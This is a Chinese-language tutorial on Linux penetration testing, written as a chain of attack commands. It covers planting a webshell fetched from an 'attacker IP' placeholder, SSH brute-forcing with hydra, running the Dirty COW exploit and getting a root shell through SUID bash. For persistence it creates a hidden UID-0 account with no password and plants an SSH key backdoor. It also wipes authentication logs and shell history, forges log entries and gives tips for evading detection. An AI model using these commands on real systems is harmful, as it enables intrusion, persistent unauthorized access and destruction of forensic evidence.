Linux 渗透测试中,命令行是核心工具,通过系统自带命令或常用工具组合,可高效完成信息收集、漏洞利用、权限提升等任务,以下从信息收集、漏洞利用、权限提升、持久化控制、痕迹清理五个维度,结合具体命令和案例展开说明。

信息收集
信息收集是渗透测试的第一步,需明确目标系统的基础信息、开放服务及潜在漏洞。
主机与网络信息
- 基础信息探测:使用
uname -a查看内核版本及系统架构(如x86_64或arm64),cat /etc/issue或cat /etc/os-release获取系统发行版(如 Ubuntu 20.04、CentOS 7)。 - 网络配置:
ifconfig或ip a查看本地IP、子网掩码及MAC地址;route -n或ip route查看路由表,识别网关及网络拓扑;netstat -an或ss -tulnp查看端口监听状态(-tTCP、-uUDP、-l仅监听、-n避免DNS解析),重点关注80(HTTP)、22(SSH)、443(HTTPS)等高危端口。 - 活跃主机探测:通过
nmap -sn 192.168.1.0/24快速扫描网段内存活主机(-sn禁用端口扫描),结合nmap -sV -p- 192.168.1.100对目标主机进行全端口服务版本检测(-sV获取服务版本、-p-扫描1-65535端口)。
用户与权限信息
- 用户列表:
cat /etc/passwd查看所有用户(第三字段为UID,0为root),cat /etc/shadow查看用户密码哈希(需root权限);whoami查看当前用户,w或last查看当前登录用户及历史登录记录。 - SUID/SGID文件:
find / -perm -4000 -type f查找具有SUID权限的文件(可提权),find / -perm -2000 -type f查找SGID文件,常见如/usr/bin/passwd、/bin/su。
漏洞利用
发现漏洞后,需利用系统命令或工具组合实现初始访问或权限获取。
服务漏洞利用
- Web服务漏洞:若目标开放80端口,可通过
curl -I http://192.168.1.100查看HTTP响应头(如Server版本),结合nikto -h http://192.168.1.100扫描Web目录及已知漏洞(如后台路径、未授权访问),若存在文件上传漏洞,可利用wget http://攻击者IP/exploit.php -O /var/www/html/shell.php上传Webshell。 - 远程服务漏洞:针对SSH弱口令,使用
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100进行暴力破解(-l用户名、-P密码字典);若发现MS17-010 EternalBlue漏洞,可使用msfconsole配置模块exploit/windows/smb/ms17_010_eternalblue进行攻击。
公开漏洞利用
- 内核漏洞:通过
uname -r查看内核版本,结合searchsploit "Linux Kernel 4.4.0"搜索已知漏洞(如CVE-2016-5195 Dirty COW),利用编译好的exp提权(如gcc dirtycow.c -o dirtycow -pthread && ./dirtycow /bin/bash)。
权限提升
获取低权限shell后,需通过系统配置或服务漏洞提升至root权限。
内核提权
利用内核漏洞(如Dirty COW、CVE-2021-4034)、SUID提权(如 ./chmod +s /bin/bash 后执行 bash -p 获取root shell)、或定时任务提权(如 crontab -l 查看定时任务,若存在 * * * * * cp /script.sh /tmp/ 且/script.sh可写,则植入恶意代码)。

环境变量提权
检查 echo $PATH 查看环境变量,若存在 PATH=/usr/local/bin:/usr/bin:/bin 且目录可写,可替换常用命令(如 /usr/bin/find)为恶意脚本(如 find 替换为 cp /bin/bash /tmp/bash && chmod +s /tmp/bash),触发后获取root权限。
持久化控制
为维持对目标系统的访问,需创建后门或隐藏账户。
- 隐藏账户:
useradd -u 0 -o -m hacker创建UID为0的root用户(-u 0指定UID、-o允许重复UID、-m创建家目录),passwd hacker设置密码后,修改/etc/passwd中隐藏字段(如将hacker:x:0:0::/home/hacker:/bin/bash改为hacker::0:0::/home/hacker:/bin/bash去掉密码字段,通过su - hacker直接登录)。 - SSH公钥后门:
mkdir -p /home/hacker/.ssh && echo "ssh-rsa AAAAB3NzaC1yc2E... hacker@kali" >> /home/hacker/.ssh/authorized_keys,设置权限chmod 700 /home/hacker/.ssh && chmod 600 /home/hacker/.ssh/authorized_keys,即可通过ssh hacker@192.168.1.100无密码登录。
痕迹清理
渗透完成后,需清除日志避免被溯源。
- 日志清理:
cat /dev/null > /var/log/auth.log(清空SSH登录日志)、cat /dev/null > /var/log/wtmp(清空登录历史)、cat /dev/null > /var/log/secure(CentOS系统日志);使用logger -p auth.info "SSH login from 192.168.1.100"伪造正常登录日志混淆视听。 - 历史命令清理:
history -c清空当前会话历史,echo "" > ~/.bash_history覆盖历史文件,或修改/etc/profile设置HISTSIZE=0禁用历史记录。
相关问答FAQs
Q1: 如何快速判断Linux系统是否存在SUID提权漏洞?
A: 可通过 find / -perm -4000 -type f -exec ls -la {} \; 查找所有SUID文件,重点关注常见命令(如 /usr/bin/passwd、/bin/su、/usr/bin/newgrp),可使用 Linux Exploit Suggester 工具(如 linux-exploit-suggester.sh)结合内核版本自动匹配已知提权漏洞,或手动检查 /etc/passwd 和 /etc/shadow 权限(如确保 /etc/shadow 权限为640,非root用户不可写)。

Q2: 渗透测试中,如何避免被目标系统检测?
A: 可从以下方面规避检测:① 使用加密通信(如SSH隧道、HTTPS),避免明文传输命令;② 控制操作频率,避免短时间内大量请求触发防火墙规则;③ 伪造用户代理(如curl -A "Mozilla/5.0")和IP地址(如通过代理链);④ 清理日志时,优先覆盖而非删除日志文件(删除可能触发日志监控告警),并伪造正常操作日志(如模拟普通用户登录、文件访问)。
